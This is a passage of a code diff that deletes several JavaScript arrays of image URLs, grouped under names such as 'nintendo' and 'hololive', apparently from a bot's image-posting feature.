-'https://img.nickpic.host/qzrcFn.jpg',
-'https://img.nickpic.host/qzrgis.jpg',
-'https://img.nickpic.host/qzrq02.jpg',
-'https://img.nickpic.host/qzrAxQ.jpg',
-'https://img.nickpic.host/qzrEhx.jpg',
-'https://img.nickpic.host/qzr6GO.jpg',
-'https://img.nickpic.host/qzrOKN.jpg',
-'https://img.nickpic.host/qzrCgm.jpg',
-'https://img.nickpic.host/qzrQ48.jpg',
-'https://img.nickpic.host/qzrUPq.jpg',
-'https://img.nickpic.host/qzriFd.jpg',
-'https://img.nickpic.host/qzrniD.jpg',
-'https://img.nickpic.host/qzrt25.jpg',
-'https://img.nickpic.host/qzrRxP.jpg',
-'https://img.nickpic.host/qzr1hM.jpg',
-'https://img.nickpic.host/qzr4YF.jpg',
-'https://img.nickpic.host/qzrwGe.jpg',
-'https://img.nickpic.host/qzrzgX.jpg',
-'https://img.nickpic.host/qzr7Db.jpg',
-'https://img.nickpic.host/qzr8Pf.jpg',
-'https://img.nickpic.host/qzrHnp.jpg',
-'https://img.nickpic.host/qzrYa6.jpg',
-'https://img.nickpic.host/qzrN2Y.jpg',
-'https://img.nickpic.host/qzrfBA.jpg',
-'https://img.nickpic.host/qzr06G.jpg',
-'https://img.nickpic.host/qzr2Yz.jpg',
-'https://img.nickpic.host/qzreIc.jpg',
-'https://img.nickpic.host/qzrkgW.jpg',
-'https://img.nickpic.host/qzrJD1.jpg',
-'https://img.nickpic.host/qzrLTj.jpg',
-'https://img.nickpic.host/qzrTaJ.jpg',
-'https://img.nickpic.host/qzrWnn.jpg',
-'https://img.nickpic.host/qzrZ9s.jpg',
-'https://img.nickpic.host/qzryB2.jpg',
-'https://img.nickpic.host/qzsG6Q.jpg',
-'https://img.nickpic.host/qzsIHx.jpg',
-'https://img.nickpic.host/qzspqO.jpg',
-'https://img.nickpic.host/qzsoIN.jpg',
-'https://img.nickpic.host/qzsxT8.jpg',
-'https://img.nickpic.host/qzsvwm.jpg',
-'https://img.nickpic.host/qzsbjq.jpg',
-'https://img.nickpic.host/qzsrnd.jpg',
-'https://img.nickpic.host/qzss9D.jpg',
-'https://img.nickpic.host/qzsFb5.jpg',
-'https://img.nickpic.host/qzsa6P.jpg',
-'https://img.nickpic.host/qzsjHM.jpg',
-'https://img.nickpic.host/qzs5mF.jpg',
-'https://img.nickpic.host/qzsSqe.jpg',
-'https://img.nickpic.host/qzscwX.jpg',
-'https://img.nickpic.host/qzsgWb.jpg',
-'https://img.nickpic.host/qzsujf.jpg',
-'https://img.nickpic.host/qzsAt6.jpg',
-'https://img.nickpic.host/qzsEep.jpg',
-'https://img.nickpic.host/qzshbY.jpg',
-'https://img.nickpic.host/qzs6CA.jpg',
-'https://img.nickpic.host/qzsUmz.jpg',
-'https://img.nickpic.host/qzsCNG.jpg',
-'https://img.nickpic.host/qzsXuc.jpg',
-'https://img.nickpic.host/qzsiwW.jpg',
-'https://img.nickpic.host/qzsnW1.jpg',
-'https://img.nickpic.host/qzsMlj.jpg',
-'https://img.nickpic.host/qzsRtJ.jpg',
-'https://img.nickpic.host/qzs1en.jpg',
-'https://img.nickpic.host/qzsDrs.jpg',
-'https://img.nickpic.host/qzswC2.jpg',
-'https://img.nickpic.host/qzszNQ.jpg',
-'https://img.nickpic.host/qzs8ox.jpg',
-'https://img.nickpic.host/qzsKuN.jpg',
-'https://img.nickpic.host/qzsYzO.jpg',
-'https://img.nickpic.host/qzsHZm.jpg',
-'https://img.nickpic.host/qzsVl8.jpg',
-'https://img.nickpic.host/qzsfMq.jpg',
-'https://img.nickpic.host/qzs9rD.jpg',
-'https://img.nickpic.host/qzs0ed.jpg',
-'https://img.nickpic.host/qzseQ5.jpg',
-'https://img.nickpic.host/qzsLoM.jpg',
-'https://img.nickpic.host/qzskNP.jpg',
-'https://img.nickpic.host/qzsPAF.jpg',
-'https://img.nickpic.host/qzsTze.jpg',
-'https://img.nickpic.host/qzsWZX.jpg',
-'https://img.nickpic.host/qzsd5b.jpg',
-'https://img.nickpic.host/qzsyMf.jpg',
-'https://img.nickpic.host/qz3Gk6.jpg',
-'https://img.nickpic.host/qz3msp.jpg',
-'https://img.nickpic.host/qz3oQY.jpg',
-'https://img.nickpic.host/qz3pVA.jpg',
-'https://img.nickpic.host/qz3xpG.jpg',
-'https://img.nickpic.host/qz3BAz.jpg',
-'https://img.nickpic.host/qz3b7c.jpg',
-'https://img.nickpic.host/qz3rZW.jpg',
-'https://img.nickpic.host/qz3351.jpg',
-'https://img.nickpic.host/qz3FRj.jpg',
-'https://img.nickpic.host/qz3akJ.jpg',
-'https://img.nickpic.host/qz3lsn.jpg',
-'https://img.nickpic.host/qz35Us.jpg',
-'https://img.nickpic.host/qz3SV2.jpg',
-'https://img.nickpic.host/qz3gpQ.jpg',
-'https://img.nickpic.host/qz3qEx.jpg']
-
-
-global.nintendo = ['https://img.nickpic.host/q10CJP.jpg',
-'https://img.nickpic.host/q10615.jpg',
-'https://img.nickpic.host/q10hSD.jpg',
-'https://img.nickpic.host/q10Edd.jpg',
-'https://img.nickpic.host/q10A8q.jpg',
-'https://img.nickpic.host/q10cfO.jpg',
-'https://img.nickpic.host/q10SUN.jpg',
-'https://img.nickpic.host/q10uE8.jpg',
-'https://img.nickpic.host/q1053x.jpg',
-'https://img.nickpic.host/q10qvm.jpg',
-'https://img.nickpic.host/q10XXF.jpg',
-'https://img.nickpic.host/q10U3M.jpg',
-'https://img.nickpic.host/q10ife.jpg',
-'https://img.nickpic.host/q10tvX.jpg',
-'https://img.nickpic.host/q10MOb.jpg',
-'https://img.nickpic.host/q10R8f.jpg',
-'https://img.nickpic.host/q101y6.jpg',
-'https://img.nickpic.host/q10Dcp.jpg',
-'https://img.nickpic.host/q10w1Y.jpg',
-'https://img.nickpic.host/q10zLA.jpg',
-'https://img.nickpic.host/q108FG.jpg',
-'https://img.nickpic.host/q10KXz.jpg',
-'https://img.nickpic.host/q10Y0c.jpg',
-'https://img.nickpic.host/q10NvW.jpg',
-'https://img.nickpic.host/q10VO1.jpg',
-'https://img.nickpic.host/q10fKj.jpg',
-'https://img.nickpic.host/q100yJ.jpg',
-'https://img.nickpic.host/q109cn.jpg',
-'https://img.nickpic.host/q10e4s.jpg',
-'https://img.nickpic.host/q10kL2.jpg',
-'https://img.nickpic.host/q10LFQ.jpg',
-'https://img.nickpic.host/q10Pix.jpg',
-'https://img.nickpic.host/q10T0N.jpg',
-'https://img.nickpic.host/q10ZxO.jpg',
-'https://img.nickpic.host/q10dhm.jpg',
-'https://img.nickpic.host/q10yK8.jpg',
-'https://img.nickpic.host/q12IGq.jpg',
-'https://img.nickpic.host/q12mcd.jpg',
-'https://img.nickpic.host/q12o4D.jpg',
-'https://img.nickpic.host/q12pP5.jpg',
-'https://img.nickpic.host/q12xFP.jpg',
-'https://img.nickpic.host/q12BiM.jpg',
-'https://img.nickpic.host/q12b2F.jpg',
-'https://img.nickpic.host/q12sxe.jpg',
-'https://img.nickpic.host/q123hX.jpg',
-'https://img.nickpic.host/q12FYb.jpg',
-'https://img.nickpic.host/q12lg6.jpg',
-'https://img.nickpic.host/q12jGf.jpg',
-'https://img.nickpic.host/q125Dp.jpg',
-'https://img.nickpic.host/q12SPY.jpg',
-'https://img.nickpic.host/q12gaA.jpg',
-'https://img.nickpic.host/q12qnG.jpg',
-'https://img.nickpic.host/q12u2z.jpg',
-'https://img.nickpic.host/q12EBc.jpg',
-'https://img.nickpic.host/q12OhW.jpg',
-'https://img.nickpic.host/q12hY1.jpg',
-'https://img.nickpic.host/q12CIj.jpg',
-'https://img.nickpic.host/q12QgJ.jpg',
-'https://img.nickpic.host/q12UDn.jpg',
-'https://img.nickpic.host/q12XTs.jpg',
-'https://img.nickpic.host/q12na2.jpg',
-'https://img.nickpic.host/q12tnQ.jpg',
-'https://img.nickpic.host/q12M9x.jpg',
-'https://img.nickpic.host/q121BN.jpg',
-'https://img.nickpic.host/q1246O.jpg',
-'https://img.nickpic.host/q12DHm.jpg',
-'https://img.nickpic.host/q127qq.jpg',
-'https://img.nickpic.host/q12zI8.jpg',
-'https://img.nickpic.host/q128Dd.jpg',
-'https://img.nickpic.host/q12KTD.jpg',
-'https://img.nickpic.host/q12Hj5.jpg',
-'https://img.nickpic.host/q12NnP.jpg',
-'https://img.nickpic.host/q12V9M.jpg',
-'https://img.nickpic.host/q120bF.jpg',
-'https://img.nickpic.host/q1226e.jpg',
-'https://img.nickpic.host/q129HX.jpg',
-'https://img.nickpic.host/q12kmb.jpg',
-'https://img.nickpic.host/q12Jqf.jpg',
-'https://img.nickpic.host/q12Lw6.jpg',
-'https://img.nickpic.host/q12PWp.jpg',
-'https://img.nickpic.host/q12WjY.jpg',
-'https://img.nickpic.host/q12ZtA.jpg',
-'https://img.nickpic.host/q12deG.jpg',
-'https://img.nickpic.host/q19Gbz.jpg',
-'https://img.nickpic.host/q19ICc.jpg',
-'https://img.nickpic.host/q19mHW.jpg',
-'https://img.nickpic.host/q19pm1.jpg',
-'https://img.nickpic.host/q19vuj.jpg',
-'https://img.nickpic.host/q19xwJ.jpg',
-'https://img.nickpic.host/q19BWn.jpg',
-'https://img.nickpic.host/q19rls.jpg',
-'https://img.nickpic.host/q19arx.jpg',
-'https://img.nickpic.host/q19st2.jpg',
-'https://img.nickpic.host/q193eQ.jpg',
-'https://img.nickpic.host/q19jCN.jpg',
-'https://img.nickpic.host/q19gzq.jpg',
-'https://img.nickpic.host/q19lNO.jpg',
-'https://img.nickpic.host/q19cu8.jpg',
-'https://img.nickpic.host/q19Som.jpg',
-'https://img.nickpic.host/q19qWd.jpg',
-'https://img.nickpic.host/q19AlD.jpg',
-'https://img.nickpic.host/q19OeP.jpg',
-'https://img.nickpic.host/q19EM5.jpg',
-'https://img.nickpic.host/q196rM.jpg',
-'https://img.nickpic.host/q19CQF.jpg',
-'https://img.nickpic.host/q19QNe.jpg',
-'https://img.nickpic.host/q19XoX.jpg',
-'https://img.nickpic.host/q19iAb.jpg',
-'https://img.nickpic.host/q19nzf.jpg',
-'https://img.nickpic.host/q19tZ6.jpg',
-'https://img.nickpic.host/q19R5p.jpg',
-'https://img.nickpic.host/q191MY.jpg',
-'https://img.nickpic.host/q19wsG.jpg',
-'https://img.nickpic.host/q194kA.jpg',
-'https://img.nickpic.host/q19zQz.jpg',
-'https://img.nickpic.host/q197Vc.jpg',
-'https://img.nickpic.host/q19KoW.jpg',
-'https://img.nickpic.host/q19YA1.jpg',
-'https://img.nickpic.host/q19H7j.jpg',
-'https://img.nickpic.host/q19NZJ.jpg',
-'https://img.nickpic.host/q19f5n.jpg',
-'https://img.nickpic.host/q190Rs.jpg',
-'https://img.nickpic.host/q192k2.jpg',
-'https://img.nickpic.host/q19esQ.jpg',
-'https://img.nickpic.host/q19kUx.jpg',
-'https://img.nickpic.host/q19JVN.jpg',
-'https://img.nickpic.host/q19PpO.jpg',
-'https://img.nickpic.host/q19TEm.jpg',
-'https://img.nickpic.host/q19Zdq.jpg',
-'https://img.nickpic.host/q19W78.jpg',
-'https://img.nickpic.host/q19y5d.jpg',
-'https://img.nickpic.host/q1eGRD.jpg',
-'https://img.nickpic.host/q1eIJ5.jpg',
-'https://img.nickpic.host/q1eosP.jpg',
-'https://img.nickpic.host/q1epUM.jpg',
-'https://img.nickpic.host/q1evfF.jpg',
-'https://img.nickpic.host/q1eBpe.jpg',
-'https://img.nickpic.host/q1ebEX.jpg',
-'https://img.nickpic.host/q1er8b.jpg',
-'https://img.nickpic.host/q1esdf.jpg',
-'https://img.nickpic.host/q1eFS6.jpg',
-'https://img.nickpic.host/q1ea1p.jpg',
-'https://img.nickpic.host/q1ejJY.jpg',
-'https://img.nickpic.host/q1e53A.jpg',
-'https://img.nickpic.host/q1eSXG.jpg',
-'https://img.nickpic.host/q1ecfz.jpg',
-'https://img.nickpic.host/q1eqvc.jpg',
-'https://img.nickpic.host/q1euEW.jpg',
-'https://img.nickpic.host/q1eA81.jpg',
-'https://img.nickpic.host/q1eEyj.jpg',
-'https://img.nickpic.host/q1ehSJ.jpg',
-'https://img.nickpic.host/q1e61n.jpg',
-'https://img.nickpic.host/q1eCLs.jpg',
-'https://img.nickpic.host/q1eU32.jpg',
-'https://img.nickpic.host/q1eXXQ.jpg',
-'https://img.nickpic.host/q1ei0x.jpg',
-'https://img.nickpic.host/q1etvN.jpg',
-'https://img.nickpic.host/q1eMOO.jpg',
-'https://img.nickpic.host/q1eRKm.jpg',
-'https://img.nickpic.host/q1e1y8.jpg',
-'https://img.nickpic.host/q1eDcq.jpg',
-'https://img.nickpic.host/q1ew1d.jpg',
-'https://img.nickpic.host/q1ezLD.jpg',
-'https://img.nickpic.host/q1e8F5.jpg',
-'https://img.nickpic.host/q1eKXP.jpg',
-'https://img.nickpic.host/q1eY0M.jpg',
-'https://img.nickpic.host/q1eNxF.jpg',
-'https://img.nickpic.host/q1eVOe.jpg',
-'https://img.nickpic.host/q1efKX.jpg',
-'https://img.nickpic.host/q1e2Gb.jpg',
-'https://img.nickpic.host/q1e9cf.jpg',
-'https://img.nickpic.host/q1ee46.jpg',
-'https://img.nickpic.host/q1ekPp.jpg',
-'https://img.nickpic.host/q1ePiA.jpg',
-'https://img.nickpic.host/q1eLFY.jpg',
-'https://img.nickpic.host/q1eT2G.jpg',
-'https://img.nickpic.host/q1eZxz.jpg',
-'https://img.nickpic.host/q1edhc.jpg',
-'https://img.nickpic.host/q1eyKW.jpg',
-'https://img.nickpic.host/q1kIG1.jpg',
-'https://img.nickpic.host/q1kmgj.jpg',
-'https://img.nickpic.host/q1ko4J.jpg',
-'https://img.nickpic.host/q1kpPn.jpg',
-'https://img.nickpic.host/q1kxas.jpg',
-'https://img.nickpic.host/q1kBi2.jpg',
-'https://img.nickpic.host/q1kb2Q.jpg',
-'https://img.nickpic.host/q1ksBx.jpg',
-'https://img.nickpic.host/q1k3hN.jpg',
-'https://img.nickpic.host/q1kFYO.jpg',
-'https://img.nickpic.host/q1kjIm.jpg',
-'https://img.nickpic.host/q1klg8.jpg',
-'https://img.nickpic.host/q1k5Dq.jpg',
-'https://img.nickpic.host/q1kSPd.jpg',
-'https://img.nickpic.host/q1kgaD.jpg',
-'https://img.nickpic.host/q1kqn5.jpg',
-'https://img.nickpic.host/q1ku2P.jpg',
-'https://img.nickpic.host/q1kEBM.jpg',
-'https://img.nickpic.host/q1kO6F.jpg',
-'https://img.nickpic.host/q1khYe.jpg',
-'https://img.nickpic.host/q1kCIX.jpg',
-'https://img.nickpic.host/q1kUDf.jpg',
-'https://img.nickpic.host/q1kQqb.jpg',
-'https://img.nickpic.host/q1kXT6.jpg',
-'https://img.nickpic.host/q1knjp.jpg',
-'https://img.nickpic.host/q1ktnY.jpg',
-'https://img.nickpic.host/q1kM9A.jpg',
-'https://img.nickpic.host/q1k1bG.jpg',
-'https://img.nickpic.host/q1k46z.jpg',
-'https://img.nickpic.host/q1kDHc.jpg',
-'https://img.nickpic.host/q1kzIW.jpg',
-'https://img.nickpic.host/q1k7q1.jpg',
-'https://img.nickpic.host/q1k8wj.jpg',
-'https://img.nickpic.host/q1kKTJ.jpg',
-'https://img.nickpic.host/q1kHjn.jpg',
-'https://img.nickpic.host/q1kNts.jpg',
-'https://img.nickpic.host/q1kV92.jpg',
-'https://img.nickpic.host/q1k0bQ.jpg',
-'https://img.nickpic.host/q1k2Cx.jpg',
-'https://img.nickpic.host/q1k9HN.jpg',
-'https://img.nickpic.host/q1kkmO.jpg',
-'https://img.nickpic.host/q1kJum.jpg',
-'https://img.nickpic.host/q1kLw8.jpg',
-'https://img.nickpic.host/q1kPWq.jpg',
-'https://img.nickpic.host/q1kWjd.jpg',
-'https://img.nickpic.host/q1kZtD.jpg',
-'https://img.nickpic.host/q1kde5.jpg',
-'https://img.nickpic.host/q1JGbP.jpg',
-'https://img.nickpic.host/q1JICM.jpg',
-'https://img.nickpic.host/q1JmNF.jpg',
-'https://img.nickpic.host/q1Jpme.jpg',
-'https://img.nickpic.host/q1JvuX.jpg',
-'https://img.nickpic.host/q1Jxzb.jpg',
-'https://img.nickpic.host/q1JBWf.jpg',
-'https://img.nickpic.host/q1Jrl6.jpg',
-'https://img.nickpic.host/q1JsMp.jpg',
-'https://img.nickpic.host/q1J3eY.jpg',
-'https://img.nickpic.host/q1JarA.jpg',
-'https://img.nickpic.host/q1JjQG.jpg',
-'https://img.nickpic.host/q1JlNz.jpg',
-'https://img.nickpic.host/q1JSoc.jpg',
-'https://img.nickpic.host/q1JcuW.jpg',
-'https://img.nickpic.host/q1Jgz1.jpg',
-'https://img.nickpic.host/q1JqZj.jpg',
-'https://img.nickpic.host/q1JAlJ.jpg',
-'https://img.nickpic.host/q1JEMn.jpg',
-'https://img.nickpic.host/q1JOks.jpg',
-'https://img.nickpic.host/q1J6r2.jpg',
-'https://img.nickpic.host/q1JCQQ.jpg',
-'https://img.nickpic.host/q1JQVx.jpg',
-'https://img.nickpic.host/q1JXoN.jpg',
-'https://img.nickpic.host/q1JiAO.jpg',
-'https://img.nickpic.host/q1Jn7m.jpg',
-'https://img.nickpic.host/q1JtZ8.jpg',
-'https://img.nickpic.host/q1JR5q.jpg',
-'https://img.nickpic.host/q1J4kD.jpg',
-'https://img.nickpic.host/q1JzQP.jpg',
-'https://img.nickpic.host/q1J7VM.jpg',
-'https://img.nickpic.host/q1JKpF.jpg',
-'https://img.nickpic.host/q1JH7X.jpg',
-'https://img.nickpic.host/q1JNdb.jpg',
-'https://img.nickpic.host/q1Jf5f.jpg',
-'https://img.nickpic.host/q1J0R6.jpg',
-'https://img.nickpic.host/q1J2Jp.jpg',
-'https://img.nickpic.host/q1JesY.jpg',
-'https://img.nickpic.host/q1JJfG.jpg',
-'https://img.nickpic.host/q1JkUA.jpg',
-'https://img.nickpic.host/q1JTEc.jpg',
-'https://img.nickpic.host/q1JW7W.jpg',
-'https://img.nickpic.host/q1JZd1.jpg',
-'https://img.nickpic.host/q1JySj.jpg',
-'https://img.nickpic.host/q1LGRJ.jpg',
-'https://img.nickpic.host/q1LIJn.jpg',
-'https://img.nickpic.host/q1Lo3s.jpg',
-'https://img.nickpic.host/q1LpU2.jpg',
-'https://img.nickpic.host/q1LvfQ.jpg',
-'https://img.nickpic.host/q1LBvx.jpg',
-'https://img.nickpic.host/q1LbEN.jpg',
-'https://img.nickpic.host/q1Lr8O.jpg',
-'https://img.nickpic.host/q1Lsym.jpg',
-'https://img.nickpic.host/q1LFS8.jpg',
-'https://img.nickpic.host/q1La1q.jpg',
-'https://img.nickpic.host/q1LjJd.jpg',
-'https://img.nickpic.host/q1L53D.jpg',
-'https://img.nickpic.host/q1LSX5.jpg',
-'https://img.nickpic.host/q1LqvM.jpg',
-'https://img.nickpic.host/q1LcfP.jpg',
-'https://img.nickpic.host/q1LuOF.jpg',
-'https://img.nickpic.host/q1LA8e.jpg',
-'https://img.nickpic.host/q1LEyX.jpg',
-'https://img.nickpic.host/q1Lhcb.jpg',
-'https://img.nickpic.host/q1L61f.jpg',
-'https://img.nickpic.host/q1LUFp.jpg',
-'https://img.nickpic.host/q1LCL6.jpg',
-'https://img.nickpic.host/q1LXXY.jpg',
-'https://img.nickpic.host/q1Li0A.jpg',
-'https://img.nickpic.host/q1LtxG.jpg',
-'https://img.nickpic.host/q1LMOz.jpg',
-'https://img.nickpic.host/q1LRKc.jpg',
-'https://img.nickpic.host/q1L1yW.jpg',
-'https://img.nickpic.host/q1LDc1.jpg',
-'https://img.nickpic.host/q1Lw4j.jpg',
-'https://img.nickpic.host/q1LzLJ.jpg',
-'https://img.nickpic.host/q1L8Fn.jpg',
-'https://img.nickpic.host/q1LKis.jpg',
-'https://img.nickpic.host/q1LY02.jpg',
-'https://img.nickpic.host/q1LNxQ.jpg',
-'https://img.nickpic.host/q1LVhx.jpg',
-'https://img.nickpic.host/q1L9gm.jpg',
-'https://img.nickpic.host/q1LfKN.jpg',
-'https://img.nickpic.host/q1L2GO.jpg',
-'https://img.nickpic.host/q1LkPq.jpg',
-'https://img.nickpic.host/q1Le48.jpg',
-'https://img.nickpic.host/q1LLFd.jpg',
-'https://img.nickpic.host/q1LPiD.jpg',
-'https://img.nickpic.host/q1LT25.jpg',
-'https://img.nickpic.host/q1LdhM.jpg',
-'https://img.nickpic.host/q1LyYF.jpg',
-'https://img.nickpic.host/q1LZxP.jpg',
-'https://img.nickpic.host/q1PIGe.jpg',
-'https://img.nickpic.host/q1PmgX.jpg',
-'https://img.nickpic.host/q1PoDb.jpg',
-'https://img.nickpic.host/q1PpPf.jpg',
-'https://img.nickpic.host/q1Pxa6.jpg',
-'https://img.nickpic.host/q1PBnp.jpg',
-'https://img.nickpic.host/q1Pb2Y.jpg',
-'https://img.nickpic.host/q1PsBA.jpg',
-'https://img.nickpic.host/q1P36G.jpg',
-'https://img.nickpic.host/q1PFYz.jpg',
-'https://img.nickpic.host/q1PjIc.jpg',
-'https://img.nickpic.host/q1PlgW.jpg',
-'https://img.nickpic.host/q1P5D1.jpg',
-'https://img.nickpic.host/q1PSTj.jpg',
-'https://img.nickpic.host/q1Pqnn.jpg',
-'https://img.nickpic.host/q1PgaJ.jpg',
-'https://img.nickpic.host/q1Pu9s.jpg',
-'https://img.nickpic.host/q1PEB2.jpg',
-'https://img.nickpic.host/q1PO6Q.jpg',
-'https://img.nickpic.host/q1PCIN.jpg',
-'https://img.nickpic.host/q1PhHx.jpg',
-'https://img.nickpic.host/q1PQqO.jpg',
-'https://img.nickpic.host/q1PUwm.jpg',
-'https://img.nickpic.host/q1PXT8.jpg',
-'https://img.nickpic.host/q1Pnjq.jpg',
-'https://img.nickpic.host/q1Ptnd.jpg',
-'https://img.nickpic.host/q1PM9D.jpg',
-'https://img.nickpic.host/q1P46P.jpg',
-'https://img.nickpic.host/q1P1b5.jpg',
-'https://img.nickpic.host/q1PDHM.jpg',
-'https://img.nickpic.host/q1PzmF.jpg',
-'https://img.nickpic.host/q1P7qe.jpg',
-'https://img.nickpic.host/q1P8wX.jpg',
-'https://img.nickpic.host/q1PKWb.jpg',
-'https://img.nickpic.host/q1PHjf.jpg',
-'https://img.nickpic.host/q1PNt6.jpg',
-'https://img.nickpic.host/q1PVep.jpg',
-'https://img.nickpic.host/q1P0bY.jpg',
-'https://img.nickpic.host/q1P2CA.jpg',
-'https://img.nickpic.host/q1P9NG.jpg',
-'https://img.nickpic.host/q1Pkmz.jpg',
-'https://img.nickpic.host/q1PJuc.jpg']
-
-
-global.hololive = ['https://img.nickpic.host/uYPNTc.jpg',
-'https://img.nickpic.host/uYPJHs.jpg',
-'https://img.nickpic.host/uYPWwx.jpg',
-'https://img.nickpic.host/uYPYqG.jpg',
-'https://img.nickpic.host/uYPKIA.jpg',
-'https://img.nickpic.host/uYP0n1.jpg',
-'https://img.nickpic.host/uYPHDz.jpg',
-'https://img.nickpic.host/uYT5bf.jpg',
-'https://img.nickpic.host/uYPRaX.jpg',
-'https://img.nickpic.host/uYPz6p.jpg',
-'https://img.nickpic.host/uYPfaW.jpg',
-'https://img.nickpic.host/uYPwB6.jpg',
-'https://img.nickpic.host/uYP1nb.jpg',
-'https://img.nickpic.host/uYP7YY.jpg',
-'https://img.nickpic.host/uYP42f.jpg',
-'https://img.nickpic.host/uYPZTN.jpg',
-'https://img.nickpic.host/uYP29j.jpg',
-'https://img.nickpic.host/uYPk6n.jpg',
-'https://img.nickpic.host/uYPeBJ.jpg',
-'https://img.nickpic.host/uYPPI2.jpg',
-'https://img.nickpic.host/uYTvHD.jpg',
-'https://img.nickpic.host/uYTGtm.jpg',
-'https://img.nickpic.host/uYPTqQ.jpg',
-'https://img.nickpic.host/uYPyjO.jpg',
-'https://img.nickpic.host/uYTI98.jpg',
-'https://img.nickpic.host/uYTsWF.jpg',
-'https://img.nickpic.host/uYTBm5.jpg',
-'https://img.nickpic.host/uYTobq.jpg',
-'https://img.nickpic.host/uYTp6d.jpg',
-'https://img.nickpic.host/uYTFje.jpg',
-'https://img.nickpic.host/uYTrwM.jpg',
-'https://img.nickpic.host/uYTatX.jpg',
-'https://img.nickpic.host/uYTbqP.jpg',
-'https://img.nickpic.host/uYTEWz.jpg',
-'https://img.nickpic.host/uYT6tW.jpg',
-'https://img.nickpic.host/uYTcNp.jpg',
-'https://img.nickpic.host/uYTjeb.jpg',
-'https://img.nickpic.host/uYTqmY.jpg',
-'https://img.nickpic.host/uYTMu2.jpg',
-'https://img.nickpic.host/uYTAzG.jpg',
-'https://img.nickpic.host/uYTSC6.jpg',
-'https://img.nickpic.host/uYTuuA.jpg',
-'https://img.nickpic.host/uYTXCJ.jpg',
-'https://img.nickpic.host/uYTCe1.jpg',
-'https://img.nickpic.host/uYTUrj.jpg',
-'https://img.nickpic.host/uYThlc.jpg',
-'https://img.nickpic.host/uYTiNn.jpg',
-'https://img.nickpic.host/uYT1Zx.jpg',
-'https://img.nickpic.host/uYTzkm.jpg',
-'https://img.nickpic.host/uYTDlN.jpg',
-'https://img.nickpic.host/uYTtos.jpg',
-'https://img.nickpic.host/uYTRzQ.jpg',
-'https://img.nickpic.host/uYTwMO.jpg',
-'https://img.nickpic.host/uYT8r8.jpg',
-'https://img.nickpic.host/uYTKQq.jpg',
-'https://img.nickpic.host/uYTy7A.jpg',
-'https://img.nickpic.host/uYT0ZM.jpg',
-'https://img.nickpic.host/uYTYNd.jpg',
-'https://img.nickpic.host/uYTLsb.jpg',
-'https://img.nickpic.host/uYTNoD.jpg',
-'https://img.nickpic.host/uYTdAY.jpg',
-'https://img.nickpic.host/uYTVA5.jpg',
-'https://img.nickpic.host/uYTeMe.jpg',
-'https://img.nickpic.host/uYTfzP.jpg',
-'https://img.nickpic.host/uYTZpp.jpg',
-'https://img.nickpic.host/uYT95F.jpg',
-'https://img.nickpic.host/uYTkkX.jpg',
-'https://img.nickpic.host/uYTTV6.jpg',
-'https://img.nickpic.host/uYTPQf.jpg',
-'https://img.nickpic.host/uYWpkW.jpg',
-'https://img.nickpic.host/uYWBUj.jpg',
-'https://img.nickpic.host/uYWF72.jpg',
-'https://img.nickpic.host/uYWGdG.jpg',
-'https://img.nickpic.host/uYWxs1.jpg',
-'https://img.nickpic.host/uYWm5z.jpg',
-'https://img.nickpic.host/uYWbVJ.jpg',
-'https://img.nickpic.host/uYWoRc.jpg',
-'https://img.nickpic.host/uYW3Es.jpg',
-'https://img.nickpic.host/uYWqU8.jpg',
-'https://img.nickpic.host/uYWg3m.jpg',
-'https://img.nickpic.host/uYWEpd.jpg',
-'https://img.nickpic.host/uYWspn.jpg',
-'https://img.nickpic.host/uYWadQ.jpg',
-'https://img.nickpic.host/uYWSJO.jpg',
-'https://img.nickpic.host/uYW5RN.jpg',
-'https://img.nickpic.host/uYWXJe.jpg',
-'https://img.nickpic.host/uYWlSx.jpg',
-'https://img.nickpic.host/uYWh85.jpg',
-'https://img.nickpic.host/uYWufq.jpg',
-'https://img.nickpic.host/uYWOED.jpg',
-'https://img.nickpic.host/uYW1v6.jpg',
-'https://img.nickpic.host/uYWMff.jpg',
-'https://img.nickpic.host/uYWU1F.jpg',
-'https://img.nickpic.host/uYW9Ks.jpg',
-'https://img.nickpic.host/uYW6dP.jpg',
-'https://img.nickpic.host/uYWQSM.jpg',
-'https://img.nickpic.host/uYWn3X.jpg',
-'https://img.nickpic.host/uYWKLc.jpg',
-'https://img.nickpic.host/uYWtXb.jpg',
-'https://img.nickpic.host/uYW4Op.jpg',
-'https://img.nickpic.host/uYWwyA.jpg',
-'https://img.nickpic.host/uYZGxq.jpg',
-'https://img.nickpic.host/uYWD8Y.jpg',
-'https://img.nickpic.host/uYWNX1.jpg',
-'https://img.nickpic.host/uYWH3W.jpg',
-'https://img.nickpic.host/uYW7cG.jpg',
-'https://img.nickpic.host/uYW81z.jpg',
-'https://img.nickpic.host/uYW0vJ.jpg',
-'https://img.nickpic.host/uYWV0j.jpg',
-'https://img.nickpic.host/uYW2On.jpg',
-'https://img.nickpic.host/uYWWFO.jpg',
-'https://img.nickpic.host/uYWd08.jpg',
-'https://img.nickpic.host/uYWL4x.jpg',
-'https://img.nickpic.host/uYWey2.jpg',
-'https://img.nickpic.host/uYWJcQ.jpg',
-'https://img.nickpic.host/uYWPLN.jpg',
-'https://img.nickpic.host/uYWZim.jpg',
-'https://img.nickpic.host/uYZBPF.jpg',
-'https://img.nickpic.host/uYZmKD.jpg',
-'https://img.nickpic.host/uYZXIs.jpg',
-'https://img.nickpic.host/uYZvcP.jpg',
-'https://img.nickpic.host/uYZSGY.jpg',
-'https://img.nickpic.host/uYZIOd.jpg',
-'https://img.nickpic.host/uYZrFe.jpg',
-'https://img.nickpic.host/uYZx4M.jpg',
-'https://img.nickpic.host/uYZlYp.jpg',
-'https://img.nickpic.host/uYZpG5.jpg',
-'https://img.nickpic.host/uYZsiX.jpg',
-'https://img.nickpic.host/uYZjh6.jpg',
-'https://img.nickpic.host/uYZaxf.jpg',
-'https://img.nickpic.host/uYZ32b.jpg',
-'https://img.nickpic.host/uYZO21.jpg',
-'https://img.nickpic.host/uYZ49m.jpg',
-'https://img.nickpic.host/uYZqPz.jpg',
-'https://img.nickpic.host/uYZcgA.jpg',
-'https://img.nickpic.host/uYZgDG.jpg',
-'https://img.nickpic.host/uYZChJ.jpg',
-'https://img.nickpic.host/uYZAac.jpg',
-'https://img.nickpic.host/uYZtTx.jpg',
-'https://img.nickpic.host/uYZ6Bj.jpg',
-'https://img.nickpic.host/uYZEiW.jpg',
-'https://img.nickpic.host/uYZQYn.jpg',
-'https://img.nickpic.host/uYZnDQ.jpg',
-'https://img.nickpic.host/uYZig2.jpg',
-'https://img.nickpic.host/uYZRaN.jpg',
-'https://img.nickpic.host/uYZ29X.jpg',
-'https://img.nickpic.host/uYZwB8.jpg',
